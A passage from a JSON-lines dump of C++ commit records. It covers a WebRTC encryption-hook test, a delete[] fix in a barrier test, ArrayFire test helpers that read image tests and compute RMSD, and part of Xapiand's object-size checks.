bytes_out) {\n  int i;\n  for (i = 0; i < bytes_in; i++)\n    out_data[i] = ~in_data[i];\n  out_data[bytes_in] = 0;\n  out_data[bytes_in + 1] = 0;\n  *bytes_out = bytes_in + 2;\n}\n\n\nclass EncryptionTest : public AfterStreamingFixture {\n};\n\nTEST_F(EncryptionTest, ManualBasicCorrectExternalEncryptionHasNoEffectOnVoice) {\n  BasicBitInverseEncryption basic_encryption;\n\n  voe_encrypt_->RegisterExternalEncryption(channel_, basic_encryption);\n\n  TEST_LOG(\"Registered external encryption, should still hear good audio.\\n\");\n  Sleep(3000);\n\n  voe_encrypt_->DeRegisterExternalEncryption(channel_);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * Copyright (c) 2016 Mick van Duijn, Koen Visscher and Paul Visscher\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n#include \"helper.h\"\n\n#include <algorithm>\n\ntemplate< typename tBarrier >\nvoid TestBarrierImpl( tBarrier &barrier, bool *check, const std::atomic_bool &abort, size_t id )\n{\n    barrier.Wait( abort );\n    check[id] = true;\n    barrier.Wait( abort );\n}\n\ntemplate< typename tBarrier >\nvoid TestBarrier( uint32_t threads, const std::atomic_bool &abort )\n{\n    std::vector< std::future< void > > futures;\n    bool *check = new bool[threads];\n    std::fill_n( check, threads, false );\n\n    tBarrier barrier( threads );\n\n    for ( size_t i = 0; i < threads - 1; ++i )\n    {\n        futures.emplace_back( std::async( std::launch::async, [&barrier, &check, &threads, &abort, i]()\n        {\n            try\n            {\n                TestBarrierImpl< tBarrier >( barrier, check, abort, i );\n            }\n            catch ( ... )\n            {\n                \/\/ Ignore other threads\n            }\n        } ) );\n\n        EXPECT_EQ( 0, std::count_if( check, check + threads, []( bool b )\n        {\n            return b;\n        } ) );\n    }\n\n    try\n    {\n        TestBarrierImpl< tBarrier >( barrier, check, abort, threads - 1 );\n    }\n    catch ( BSPInternal::BspAbort &e )\n    {\n        \/\/ Make sure all threads are joined, even when an exeption is thrown (mimic the behaviour of Init after Abort)\n        for ( auto &thread : futures )\n        {\n            thread.wait_for( std::chrono::milliseconds( 200 ) );\n        }\n\n        throw e;\n    }\n\n    EXPECT_EQ( threads, std::count_if( check, check + threads, []( bool b )\n    {\n        return b;\n    } ) );\n\n    \/\/ Make sure all threads are joined\n    for ( auto &thread : futures )\n    {\n        thread.wait_for( std::chrono::milliseconds( 200 ) );\n    }\n\n    delete check;\n}\n\n\/*\n\/\/\/  Disabled since spinbarriers are not very cpu friendly\nTEST( P( Barrier ), Simple2 )\n{\n    TestBarrier< BSPInternal::Barrier >( 2, false );\n}\n\nTEST( P( Barrier ), Simple4 )\n{\n    TestBarrier< BSPInternal::Barrier >( 4, false );\n}\n\nTEST( P( Barrier ), Simple8 )\n{\n    TestBarrier< BSPInternal::Barrier >( 8, false );\n}\n\nTEST( P( Barrier ), Simple16 )\n{\n    TestBarrier< BSPInternal::Barrier >( 16, false );\n}\n\nTEST( P( Barrier ), Simple32 )\n{\n    TestBarrier< BSPInternal::Barrier >( 32, false );\n}*\/\n\n#ifndef DEBUG\nTEST( P( CondVarBarrier ), Simple )\n{\n    TestBarrier< BSPInternal::CondVarBarrier >( 1, std::atomic_bool( false ) );\n}\n\nTEST( P( CondVarBarrier ), Simple2 )\n{\n    TestBarrier< BSPInternal::CondVarBarrier >( 2, std::atomic_bool( false ) );\n}\n\nTEST( P( CondVarBarrier ), Simple4 )\n{\n    TestBarrier< BSPInternal::CondVarBarrier >( 4, std::atomic_bool( false ) );\n}\n\nTEST( P( CondVarBarrier ), Simple8 )\n{\n    TestBarrier< BSPInternal::CondVarBarrier >( 8, std::atomic_bool( false ) );\n}\n\nTEST( P( CondVarBarrier ), Simple16 )\n{\n    TestBarrier< BSPInternal::CondVarBarrier >( 16, std::atomic_bool( false ) );\n}\n\nTEST( P( CondVarBarrier ), Simple32 )\n{\n    TestBarrier< BSPInternal::CondVarBarrier >( 32, std::atomic_bool( false ) );\n}\n\nTEST( P( MixedBarrier ), Simple2 )\n{\n    TestBarrier< BSPInternal::CondVarBarrier >( 2, std::atomic_bool( false ) );\n}\n\nTEST( P( MixedBarrier ), Simple4 )\n{\n    TestBarrier< BSPInternal::CondVarBarrier >( 4, std::atomic_bool( false ) );\n}\n\nTEST( P( MixedBarrier ), Simple8 )\n{\n    TestBarrier< BSPInternal::CondVarBarrier >( 8, std::atomic_bool( false ) );\n}\n\nTEST( P( MixedBarrier ), Simple16 )\n{\n    TestBarrier< BSPInternal::CondVarBarrier >( 16, std::atomic_bool( false ) );\n}\n\nTEST( P( MixedBarrier ), Simple32 )\n{\n    TestBarrier< BSPInternal::CondVarBarrier >( 32, std::atomic_bool( false ) );\n}\n\nTEST( P( CondVarBarrier ), Abort2 )\n{\n    ASSERT_THROW( TestBarrier< BSPInternal::CondVarBarrier >( 2, std::atomic_bool( true ) ), BSPInternal::BspAbort );\n}\n\nTEST( P( CondVarBarrier ), Abort4 )\n{\n    ASSERT_THROW( TestBarrier< BSPInternal::CondVarBarrier >( 4, std::atomic_bool( true ) ), BSPInternal::BspAbort );\n}\n\nTEST( P( CondVarBarrier ), Abort8 )\n{\n    ASSERT_THROW( TestBarrier< BSPInternal::CondVarBarrier >( 8, std::atomic_bool( true ) ), BSPInternal::BspAbort );\n}\n\nTEST( P( CondVarBarrier ), Abort16 )\n{\n    ASSERT_THROW( TestBarrier< BSPInternal::CondVarBarrier >( 16, std::atomic_bool( true ) ), BSPInternal::BspAbort );\n}\n\nTEST( P( CondVarBarrier ), Abort32 )\n{\n    ASSERT_THROW( TestBarrier< BSPInternal::CondVarBarrier >( 32, std::atomic_bool( true ) ), BSPInternal::BspAbort );\n}\n\nTEST( P( MixedBarrier ), Abort2 )\n{\n    ASSERT_THROW( TestBarrier< BSPInternal::MixedBarrier >( 2, std::atomic_bool( true ) ), BSPInternal::BspAbort );\n}\n\nTEST( P( MixedBarrier ), Abort4 )\n{\n    ASSERT_THROW( TestBarrier< BSPInternal::MixedBarrier >( 4, std::atomic_bool( true ) ), BSPInternal::BspAbort );\n}\n\nTEST( P( MixedBarrier ), Abort8 )\n{\n    ASSERT_THROW( TestBarrier< BSPInternal::MixedBarrier >( 8, std::atomic_bool( true ) ), BSPInternal::BspAbort );\n}\n\nTEST( P( MixedBarrier ), Abort16 )\n{\n    ASSERT_THROW( TestBarrier< BSPInternal::MixedBarrier >( 16, std::atomic_bool( true ) ), BSPInternal::BspAbort );\n}\n\nTEST( P( MixedBarrier ), Abort32 )\n{\n    ASSERT_THROW( TestBarrier< BSPInternal::MixedBarrier >( 32, std::atomic_bool( true ) ), BSPInternal::BspAbort );\n}\n\n#endif \/\/ !DEBUG<commit_msg>Barrier check correct delete<commit_after>\/**\n * Copyright (c) 2016 Mick van Duijn, Koen Visscher and Paul Visscher\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n#include \"helper.h\"\n\n#include <algorithm>\n\ntemplate< typename tBarrier >\nvoid TestBarrierImpl( tBarrier &barrier, bool *check, const std::atomic_bool &abort, size_t id )\n{\n    barrier.Wait( abort );\n    check[id] = true;\n    barrier.Wait( abort );\n}\n\ntemplate< typename tBarrier >\nvoid TestBarrier( uint32_t threads, const std::atomic_bool &abort )\n{\n    std::vector< std::future< void > > futures;\n    bool *check = new bool[threads];\n    std::fill_n( check, threads, false );\n\n    tBarrier barrier( threads );\n\n    for ( size_t i = 0; i < threads - 1; ++i )\n    {\n        futures.emplace_back( std::async( std::launch::async, [&barrier, &check, &threads, &abort, i]()\n        {\n            try\n            {\n                TestBarrierImpl< tBarrier >( barrier, check, abort, i );\n            }\n            catch ( ... )\n            {\n                \/\/ Ignore other threads\n            }\n        } ) );\n\n        EXPECT_EQ( 0, std::count_if( check, check + threads, []( bool b )\n        {\n            return b;\n        } ) );\n    }\n\n    try\n    {\n        TestBarrierImpl< tBarrier >( barrier, check, abort, threads - 1 );\n    }\n    catch ( BSPInternal::BspAbort &e )\n    {\n        \/\/ Make sure all threads are joined, even when an exeption is thrown (mimic the behaviour of Init after Abort)\n        for ( auto &thread : futures )\n        {\n            thread.wait_for( std::chrono::milliseconds( 200 ) );\n        }\n\n        throw e;\n    }\n\n    EXPECT_EQ( threads, std::count_if( check, check + threads, []( bool b )\n    {\n        return b;\n    } ) );\n\n    \/\/ Make sure all threads are joined\n    for ( auto &thread : futures )\n    {\n        thread.wait_for( std::chrono::milliseconds( 200 ) );\n    }\n\n    delete[] check;\n}\n\n\/*\n\/\/\/  Disabled since spinbarriers are not very cpu friendly\nTEST( P( Barrier ), Simple2 )\n{\n    TestBarrier< BSPInternal::Barrier >( 2, false );\n}\n\nTEST( P( Barrier ), Simple4 )\n{\n    TestBarrier< BSPInternal::Barrier >( 4, false );\n}\n\nTEST( P( Barrier ), Simple8 )\n{\n    TestBarrier< BSPInternal::Barrier >( 8, false );\n}\n\nTEST( P( Barrier ), Simple16 )\n{\n    TestBarrier< BSPInternal::Barrier >( 16, false );\n}\n\nTEST( P( Barrier ), Simple32 )\n{\n    TestBarrier< BSPInternal::Barrier >( 32, false );\n}*\/\n\n#ifndef DEBUG\nTEST( P( CondVarBarrier ), Simple )\n{\n    TestBarrier< BSPInternal::CondVarBarrier >( 1, std::atomic_bool( false ) );\n}\n\nTEST( P( CondVarBarrier ), Simple2 )\n{\n    TestBarrier< BSPInternal::CondVarBarrier >( 2, std::atomic_bool( false ) );\n}\n\nTEST( P( CondVarBarrier ), Simple4 )\n{\n    TestBarrier< BSPInternal::CondVarBarrier >( 4, std::atomic_bool( false ) );\n}\n\nTEST( P( CondVarBarrier ), Simple8 )\n{\n    TestBarrier< BSPInternal::CondVarBarrier >( 8, std::atomic_bool( false ) );\n}\n\nTEST( P( CondVarBarrier ), Simple16 )\n{\n    TestBarrier< BSPInternal::CondVarBarrier >( 16, std::atomic_bool( false ) );\n}\n\nTEST( P( CondVarBarrier ), Simple32 )\n{\n    TestBarrier< BSPInternal::CondVarBarrier >( 32, std::atomic_bool( false ) );\n}\n\nTEST( P( MixedBarrier ), Simple2 )\n{\n    TestBarrier< BSPInternal::CondVarBarrier >( 2, std::atomic_bool( false ) );\n}\n\nTEST( P( MixedBarrier ), Simple4 )\n{\n    TestBarrier< BSPInternal::CondVarBarrier >( 4, std::atomic_bool( false ) );\n}\n\nTEST( P( MixedBarrier ), Simple8 )\n{\n    TestBarrier< BSPInternal::CondVarBarrier >( 8, std::atomic_bool( false ) );\n}\n\nTEST( P( MixedBarrier ), Simple16 )\n{\n    TestBarrier< BSPInternal::CondVarBarrier >( 16, std::atomic_bool( false ) );\n}\n\nTEST( P( MixedBarrier ), Simple32 )\n{\n    TestBarrier< BSPInternal::CondVarBarrier >( 32, std::atomic_bool( false ) );\n}\n\nTEST( P( CondVarBarrier ), Abort2 )\n{\n    ASSERT_THROW( TestBarrier< BSPInternal::CondVarBarrier >( 2, std::atomic_bool( true ) ), BSPInternal::BspAbort );\n}\n\nTEST( P( CondVarBarrier ), Abort4 )\n{\n    ASSERT_THROW( TestBarrier< BSPInternal::CondVarBarrier >( 4, std::atomic_bool( true ) ), BSPInternal::BspAbort );\n}\n\nTEST( P( CondVarBarrier ), Abort8 )\n{\n    ASSERT_THROW( TestBarrier< BSPInternal::CondVarBarrier >( 8, std::atomic_bool( true ) ), BSPInternal::BspAbort );\n}\n\nTEST( P( CondVarBarrier ), Abort16 )\n{\n    ASSERT_THROW( TestBarrier< BSPInternal::CondVarBarrier >( 16, std::atomic_bool( true ) ), BSPInternal::BspAbort );\n}\n\nTEST( P( CondVarBarrier ), Abort32 )\n{\n    ASSERT_THROW( TestBarrier< BSPInternal::CondVarBarrier >( 32, std::atomic_bool( true ) ), BSPInternal::BspAbort );\n}\n\nTEST( P( MixedBarrier ), Abort2 )\n{\n    ASSERT_THROW( TestBarrier< BSPInternal::MixedBarrier >( 2, std::atomic_bool( true ) ), BSPInternal::BspAbort );\n}\n\nTEST( P( MixedBarrier ), Abort4 )\n{\n    ASSERT_THROW( TestBarrier< BSPInternal::MixedBarrier >( 4, std::atomic_bool( true ) ), BSPInternal::BspAbort );\n}\n\nTEST( P( MixedBarrier ), Abort8 )\n{\n    ASSERT_THROW( TestBarrier< BSPInternal::MixedBarrier >( 8, std::atomic_bool( true ) ), BSPInternal::BspAbort );\n}\n\nTEST( P( MixedBarrier ), Abort16 )\n{\n    ASSERT_THROW( TestBarrier< BSPInternal::MixedBarrier >( 16, std::atomic_bool( true ) ), BSPInternal::BspAbort );\n}\n\nTEST( P( MixedBarrier ), Abort32 )\n{\n    ASSERT_THROW( TestBarrier< BSPInternal::MixedBarrier >( 32, std::atomic_bool( true ) ), BSPInternal::BspAbort );\n}\n\n#endif \/\/ !DEBUG<|endoftext|>"}
{"text":"<commit_before>#include <string>\n#include <fstream>\n#include <iterator>\n#include <vector>\n#include <algorithm>\n#include <af\/dim4.hpp>\n\ntypedef unsigned char uchar;\n\ntemplate<typename inType, typename outType, typename FileElementType>\nvoid readTests(const std::string &FileName, std::vector<af::dim4> &inputDims,\n                std::vector<std::vector<inType>>  &testInputs,\n                std::vector<std::vector<outType>> &testOutputs)\n{\n    using std::vector;\n\n    std::ifstream testFile(FileName);\n    if(testFile.good()) {\n        unsigned inputCount;\n        testFile >> inputCount;\n        for(unsigned i=0; i<inputCount; i++) {\n            af::dim4 temp(1);\n            testFile >> temp;\n            inputDims.push_back(temp);\n        }\n\n        unsigned testCount;\n        testFile >> testCount;\n        testOutputs.resize(testCount);\n\n        vector<unsigned> testSizes(testCount);\n        for(unsigned i = 0; i < testCount; i++) {\n            testFile >> testSizes[i];\n        }\n\n        testInputs.resize(inputCount,vector<inType>(0));\n        for(unsigned k=0; k<inputCount; k++) {\n            unsigned nElems = inputDims[k].elements();\n            testInputs[k].resize(nElems);\n            FileElementType tmp;\n            for(unsigned i = 0; i < nElems; i++) {\n                testFile >> tmp;\n                testInputs[k][i] = tmp;\n            }\n        }\n\n        testOutputs.resize(testCount, vector<outType>(0));\n        for(unsigned i = 0; i < testCount; i++) {\n            testOutputs[i].resize(testSizes[i]);\n            FileElementType tmp;\n            for(unsigned j = 0; j < testSizes[i]; j++) {\n                testFile >> tmp;\n                testOutputs[i][j] = tmp;\n            }\n        }\n\n    }\n    else {\n        FAIL() << \"TEST FILE NOT FOUND\";\n    }\n}\n<commit_msg>Added readImageTests and compareArraysRMSD helpers for unit tests<commit_after>#include <string>\n#include <fstream>\n#include <iterator>\n#include <vector>\n#include <algorithm>\n#include <af\/dim4.hpp>\n#include <limits>\n\ntypedef unsigned char uchar;\n\ntemplate<typename inType, typename outType, typename FileElementType>\nvoid readTests(const std::string &FileName, std::vector<af::dim4> &inputDims,\n                std::vector<std::vector<inType>>  &testInputs,\n                std::vector<std::vector<outType>> &testOutputs)\n{\n    using std::vector;\n\n    std::ifstream testFile(FileName);\n    if(testFile.good()) {\n        unsigned inputCount;\n        testFile >> inputCount;\n        for(unsigned i=0; i<inputCount; i++) {\n            af::dim4 temp(1);\n            testFile >> temp;\n            inputDims.push_back(temp);\n        }\n\n        unsigned testCount;\n        testFile >> testCount;\n        testOutputs.resize(testCount);\n\n        vector<unsigned> testSizes(testCount);\n        for(unsigned i = 0; i < testCount; i++) {\n            testFile >> testSizes[i];\n        }\n\n        testInputs.resize(inputCount,vector<inType>(0));\n        for(unsigned k=0; k<inputCount; k++) {\n            unsigned nElems = inputDims[k].elements();\n            testInputs[k].resize(nElems);\n            FileElementType tmp;\n            for(unsigned i = 0; i < nElems; i++) {\n                testFile >> tmp;\n                testInputs[k][i] = tmp;\n            }\n        }\n\n        testOutputs.resize(testCount, vector<outType>(0));\n        for(unsigned i = 0; i < testCount; i++) {\n            testOutputs[i].resize(testSizes[i]);\n            FileElementType tmp;\n            for(unsigned j = 0; j < testSizes[i]; j++) {\n                testFile >> tmp;\n                testOutputs[i][j] = tmp;\n            }\n        }\n\n    }\n    else {\n        FAIL() << \"TEST FILE NOT FOUND\";\n    }\n}\n\nvoid readImageTests(const std::string        &pFileName,\n                    std::vector<af::dim4>    &pInputDims,\n                    std::vector<std::string> &pTestInputs,\n                    std::vector<dim_type>    &pTestOutSizes,\n                    std::vector<std::string> &pTestOutputs)\n{\n    using std::vector;\n\n    std::ifstream testFile(pFileName);\n    if(testFile.good()) {\n        unsigned inputCount;\n        testFile >> inputCount;\n        for(unsigned i=0; i<inputCount; i++) {\n            af::dim4 temp(1);\n            testFile >> temp;\n            pInputDims.push_back(temp);\n        }\n\n        unsigned testCount;\n        testFile >> testCount;\n        pTestOutputs.resize(testCount);\n\n        pTestOutSizes.resize(testCount);\n        for(unsigned i = 0; i < testCount; i++) {\n            testFile >> pTestOutSizes[i];\n        }\n\n        pTestInputs.resize(inputCount, \"\");\n        for(unsigned k=0; k<inputCount; k++) {\n            std::string temp = \"\";\n            while(std::getline(testFile, temp)) {\n                if (temp!=\"\")\n                    break;\n            }\n            if (temp==\"\")\n                throw std::runtime_error(\"Test file might not be per format, please check.\");\n            pTestInputs[k] = temp;\n        }\n\n        pTestOutputs.resize(testCount, \"\");\n        for(unsigned i = 0; i < testCount; i++) {\n            std::string temp = \"\";\n            while(std::getline(testFile, temp)) {\n                if (temp!=\"\")\n                    break;\n            }\n            if (temp==\"\")\n                throw std::runtime_error(\"Test file might not be per format, please check.\");\n            pTestOutputs[i] = temp;\n        }\n    }\n    else {\n        FAIL() << \"TEST FILE NOT FOUND\";\n    }\n}\n\n\/**\n * Below is not a pair wise comparition method, rather\n * it computes the accumulated error of the computed\n * output and gold output.\n *\n * The cut off is decided based on root mean square\n * deviation from cpu result\n *\n * For images, the maximum possible error will happen if all\n * the observed values are zeros and all the predicted values\n * are 255's. In such case, the value of NRMSD will be 1.0\n * Similarly, we can deduce that 0.0 will be the minimum\n * value of NRMSD. Hence, the range of RMSD is [0,255] for image inputs.\n *\/\ntemplate<typename T>\nbool compareArraysRMSD(dim_type data_size, T *gold, T *data, float tolerance)\n{\n    float accum = 0.0f;\n    T minion    = std::numeric_limits<T>::lowest();\n    T maxion    = std::numeric_limits<T>::max();\n    for(dim_type i=0;i<data_size;i++)\n    {\n        float diff = fabs(gold[i]-data[i]) > 1.0e-4 ? gold[i]-data[i] : 0.0f;\n        accum  += pow(diff,2.0f);\n        maxion  = std::max(maxion, data[i]);\n        minion  = std::min(minion, data[i]);\n    }\n    accum      \/= data_size;\n    float NRMSD = sqrt(accum)\/(float)(maxion-minion);\n\n    if (NRMSD > tolerance)\n        return false;\n\n    return true;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright (C) 2018 Dubalu LLC. All rights reserved.\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n#include \"check_size.h\"\n\n#ifdef XAPIAND_CHECK_SIZES\n#define STATIC_ASSERT(...)\n\/\/ #define STATIC_ASSERT static_assert\n#define CHECK_MAX_SIZE(max_size, name) \\\n\tSTATIC_ASSERT((max_size) >= (sizeof name), \"Object is too big!\"); \\\n\tif ((max_size) < (sizeof name)) { \\\n\t\tstd::cerr << \"sizeof\" << #name << \" = \" << (sizeof name) << std::endl; \\\n\t}\n\n#include \"allocator.h\"\n#include \"base_x.hh\"\n#include \"bloom_filter.hh\"\n#include \"compressor_deflate.h\"\n#include \"compressor_lz4.h\"\n#include \"database.h\"\n#include \"database_handler.h\"\n#include \"database_pool.h\"\n#include \"database_wal.h\"\n#include \"debouncer.h\"\n#include \"endpoint.h\"\n#include \"logger.h\"\n#include \"manager.h\"\n#include \"msgpack.h\"\n#include \"node.h\"\n#include \"query_dsl.h\"\n#include \"queue.h\"\n#include \"schema.h\"\n#include \"schemas_lru.h\"\n#include \"script.h\"\n#include \"storage.h\"\n#include \"threadpool.hh\"\n#include \"url_parser.h\"\n#include \"url_parser.h\"\n#include \"booleanParser\/BooleanParser.h\"\n#include \"chaipp\/chaipp.h\"\n#include \"cuuid\/uuid.h\"\n#include \"geospatial\/geometry.h\"\n#include \"geospatial\/geospatial.h\"\n#include \"geospatial\/intersection.h\"\n#include \"geospatial\/multicircle.h\"\n#include \"geospatial\/multiconvex.h\"\n#include \"geospatial\/multipoint.h\"\n#include \"geospatial\/multipolygon.h\"\n#include \"geospatial\/point.h\"\n#include \"geospatial\/polygon.h\"\n#include \"metrics\/basic_string_metric.h\"\n#include \"metrics\/jaccard.h\"\n#include \"metrics\/jaro.h\"\n#include \"metrics\/jaro_winkler.h\"\n#include \"metrics\/lcsubsequence.h\"\n#include \"metrics\/lcsubstr.h\"\n#include \"metrics\/levenshtein.h\"\n#include \"metrics\/sorensen_dice.h\"\n#include \"metrics\/soundex_metric.h\"\n#include \"multivalue\/aggregation.h\"\n#include \"multivalue\/aggregation_bucket.h\"\n#include \"multivalue\/aggregation_metric.h\"\n#include \"multivalue\/geospatialrange.h\"\n#include \"multivalue\/keymaker.h\"\n#include \"multivalue\/range.h\"\n#include \"phonetic\/english_soundex.h\"\n#include \"phonetic\/french_soundex.h\"\n#include \"phonetic\/german_soundex.h\"\n#include \"phonetic\/spanish_soundex.h\"\n#include \"server\/base_client.h\"\n#include \"server\/binary.h\"\n#include \"server\/binary_client.h\"\n#include \"server\/binary_server.h\"\n#include \"server\/buffer.h\"\n#include \"server\/discovery.h\"\n#include \"server\/http.h\"\n#include \"server\/http_client.h\"\n#include \"server\/http_server.h\"\n#include \"server\/raft.h\"\n#include \"server\/remote_protocol.h\"\n#include \"server\/replication_protocol.h\"\n#include \"v8pp\/v8pp.h\"\n\n#define TINY 8\n#define SMALL 128\n#define REGULAR 1024\n#define BIG 5 * 1024\n#define LARGE 20 * 1024\n\nclass DummyClient {\n\tssize_t on_read(const char*, ssize_t) { return 0; }\n\tvoid on_read_file(const char*, ssize_t) {}\n\tvoid on_read_file_done() {}\n};\n\nvoid\ncheck_size()\n{\n\n\/\/ allocator.h\nCHECK_MAX_SIZE(TINY, (allocator::VanillaAllocator))\nCHECK_MAX_SIZE(TINY, (allocator::TrackedAllocator))\n\n\/\/ base_x.hh\nCHECK_MAX_SIZE(TINY, (BaseX))\nCHECK_MAX_SIZE(TINY, (Base2))\nCHECK_MAX_SIZE(TINY, (Base8))\nCHECK_MAX_SIZE(TINY, (Base11))\nCHECK_MAX_SIZE(TINY, (Base16))\nCHECK_MAX_SIZE(TINY, (Base32))\nCHECK_MAX_SIZE(TINY, (Base36))\nCHECK_MAX_SIZE(TINY, (Base58))\nCHECK_MAX_SIZE(TINY, (Base59))\nCHECK_MAX_SIZE(TINY, (Base62))\nCHECK_MAX_SIZE(TINY, (Base64))\nCHECK_MAX_SIZE(TINY, (Base66))\n\n\/\/ bloom_filter.hh\nCHECK_MAX_SIZE(SMALL, (BloomFilter<>))\n\n\/\/ compressor_deflate.h\nCHECK_MAX_SIZE(SMALL, (DeflateCompressData))\nCHECK_MAX_SIZE(SMALL, (DeflateCompressFile))\nCHECK_MAX_SIZE(SMALL, (DeflateDecompressData))\nCHECK_MAX_SIZE(SMALL, (DeflateDecompressFile))\n\n\/\/ compressor_lz4.h\nCHECK_MAX_SIZE(SMALL, (LZ4CompressData))\nCHECK_MAX_SIZE(SMALL, (LZ4CompressFile))\nCHECK_MAX_SIZE(SMALL, (LZ4DecompressData))\nCHECK_MAX_SIZE(SMALL, (LZ4DecompressFile))\n\n\/\/ database.h\nCHECK_MAX_SIZE(SMALL, (Database))\n\n\/\/ database_handler.h\nCHECK_MAX_SIZE(SMALL, (Data))\nCHECK_MAX_SIZE(SMALL, (DatabaseHandler))\nCHECK_MAX_SIZE(SMALL, (Document))\nCHECK_MAX_SIZE(SMALL, (MSet))\n\n\/\/ database_pool.h\nCHECK_MAX_SIZE(SMALL, (DatabaseCount))\nCHECK_MAX_SIZE(SMALL, (DatabaseQueue))\nCHECK_MAX_SIZE(SMALL, (DatabasesLRU))\nCHECK_MAX_SIZE(SMALL, (DatabasePool))\n\n\/\/ database_wal.h\nCHECK_MAX_SIZE(BIG, (WalHeader))\nCHECK_MAX_SIZE(TINY, (WalBinHeader))\nCHECK_MAX_SIZE(TINY, (WalBinFooter))\nCHECK_MAX_SIZE(SMALL, (DatabaseWAL))\n\n\/\/ debouncer.h\n\/\/ CHECK_MAX_SIZE(SMALL, (Debouncer<int, 0, 0, 0, void(*)(), int>))\n\n\/\/ endpoint.h\nCHECK_MAX_SIZE(SMALL, (Endpoint))\nCHECK_MAX_SIZE(SMALL, (Endpoints))\n\n\/\/ logger.h\nCHECK_MAX_SIZE(SMALL, (Logging))\n\n\/\/ manager.h\nCHECK_MAX_SIZE(SMALL, (XapiandManager))\n\n\/\/ msgpack.h\nCHECK_MAX_SIZE(SMALL, (MsgPack))\n\n\/\/ node.h\nCHECK_MAX_SIZE(SMALL, (Node))\n\n\/\/ query_dsl.h\nCHECK_MAX_SIZE(SMALL, (QueryDSL))\n\n\/\/ queue.h\nCHECK_MAX_SIZE(SMALL, (queue::Queue<int>))\n\n\/\/ remote_protocol.h\nCHECK_MAX_SIZE(SMALL, (RemoteProtocol))\n\n\/\/ replication.h\nCHECK_MAX_SIZE(SMALL, (Replication))\n\n\/\/ schema.h\nCHECK_MAX_SIZE(SMALL, (Schema))\n\n\/\/ schemas_lru.h\nCHECK_MAX_SIZE(SMALL, (SchemasLRU))\n\n\/\/ script.h\nCHECK_MAX_SIZE(SMALL, (Script))\n\n\/\/ storage.h\nCHECK_MAX_SIZE(SMALL, (Storage<StorageHeader, StorageBinHeader, StorageBinFooter>))\n\n\/\/ threadpool.hh\nCHECK_MAX_SIZE(SMALL, (ThreadPool<>))\n\n\/\/ url_parser.h\nCHECK_MAX_SIZE(SMALL, (QueryParser))\nCHECK_MAX_SIZE(SMALL, (PathParser))\n\n\/\/ booleanParser\/BooleanParser.h\nCHECK_MAX_SIZE(SMALL, (BooleanTree))\n\n\/\/ cuuid\/uuid.h\nCHECK_MAX_SIZE(SMALL, (UUID))\n\n\/\/ geospatial\/geometry.h\nCHECK_MAX_SIZE(SMALL, (Constraint))\nCHECK_MAX_SIZE(SMALL, (Geometry))\n\/\/ geospatial\/geospatial.h\nCHECK_MAX_SIZE(SMALL, (GeoSpatial))\n\/\/ geospatial\/intersection.h\nCHECK_MAX_SIZE(SMALL, (Intersection))\n\/\/ geospatial\/multicircle.h\nCHECK_MAX_SIZE(SMALL, (MultiCircle))\n\/\/ geospatial\/multiconvex.h\nCHECK_MAX_SIZE(SMALL, (MultiConvex))\n\/\/ geospatial\/multipoint.h\nCHECK_MAX_SIZE(SMALL, (MultiPoint))\n\/\/ geospatial\/multipolygon.h\nCHECK_MAX_SIZE(SMALL, (MultiPolygon))\n\/\/ geospatial\/point.h\nCHECK_MAX_SIZE(SMALL, (Point))\n\/\/ geospatial\/polygon.h\nCHECK_MAX_SIZE(SMALL, (Polygon))\n\n\/\/ 